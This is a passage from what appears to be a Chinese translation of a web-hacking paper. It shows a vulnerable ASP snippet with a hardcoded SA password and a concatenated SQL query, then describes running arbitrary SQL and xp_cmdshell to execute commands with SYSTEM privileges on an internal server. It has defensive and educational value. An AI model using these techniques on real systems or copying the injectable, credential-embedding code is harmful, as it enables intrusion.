Con.Open "Provider=SQLOLEDB; Data Source=10.0.1.2; Initial Catalog=art;
          User Id=sa; Password=sys+adm!n"
Set RS = Con.Execute("select StockNumber,Name,Description,Artist,
                      ListPrice,image from PRODUCTS where ID = " +
                      Request.QueryString("ID"))

 

    源代码中的这些内容提供给我们了足够的信息 :) 

7.5 通过 sqlquery.asp 执行 SQL 查询

    使用上面受信任的sqlquery.asp,可以在数据库服务器上执行任意SQL 语句。下面的截图显示了查询语句“SELECT * FROM SYSDATABASES”的结果: 

 

    紧跟着的这张截图显示的是“art”数据库其中一张表PRODUCTS中的应用程序数据: 

 

 

7.6 执行存储过程

    SQL命令提示符也可以用来执行存储过程。在这个例子中,我们正使用系统管理员SA 权限访问后端数据库。因此,才能在数据库上执行像“xp_cmdshell”这样的存储过程来执行任意命令。

    下面的截图显示了使用“xm_cmdshell”存储过程在数据库中执行“ipconfig”命令: 

 

    我们成功完成在外部不可访问的一台内部服务器上的远程命令执行 :) 

    实际上,用与之相同的例子我们也可以完成提权,只要我们具有SA权限来访问数据库。通过运行whoami.exe的一次快速检测,就可显示我们目前的权限: 

 

    上面的截图证实了我们确实拥有了管理员权限,那就是"NT_AUTHORITY\SYSTEM"用户。

 

 

8.0 结束语

     单向入侵说明了一个事实,那就是,防火墙不足以保护一个web 应用程序。一个严密的防火墙会使攻击者更难渗透,但并不能完全隔离攻击者。实际上,使用像文件上传者,基于命令提示符的web以及基于SQL 命令提示符的web这样的工具,攻击一个web应用程

序以及它下面的配有严密防火墙的网络仍然很简单。

     来自应用程序的安全观点表明[8]SSL使这些变得更糟。许多人认为SSL能够阻止这样的攻击,但事实却相反。SSL仅仅用来加密web浏览器与web服务器之间的数据,来阻止窃听。SSL并不提供应用程序及它下面的网络的安全。所有的单向 hacks技术都可以很容易地应用于SSL. 

 

 

9.0 参考

    1.  Web Hacking: Attacks and Defense - Saumil Shah, Shreeraj Shah, Stuart McClure, Addison Wesley, 2002

    2.  Inside-Out Attacks - Patrick Heim, Saumil Shah, 1999

    3.  Forms in HTML documents - multipart/form-data - from http://www.w3.org

    4.  RFC 1867 - Form-based File Upload in HTML

    5.  Microsoft IIS 5.0 In-Process Table Privilege Elevation Vulnerability

    6.  Linux Ptrace/Setuid Exec Vulnerability

    7.  Securiteam - Ptrace Exploit Code

    8.  SSL - a false sense of security by Chris Prosise and Saumil Shah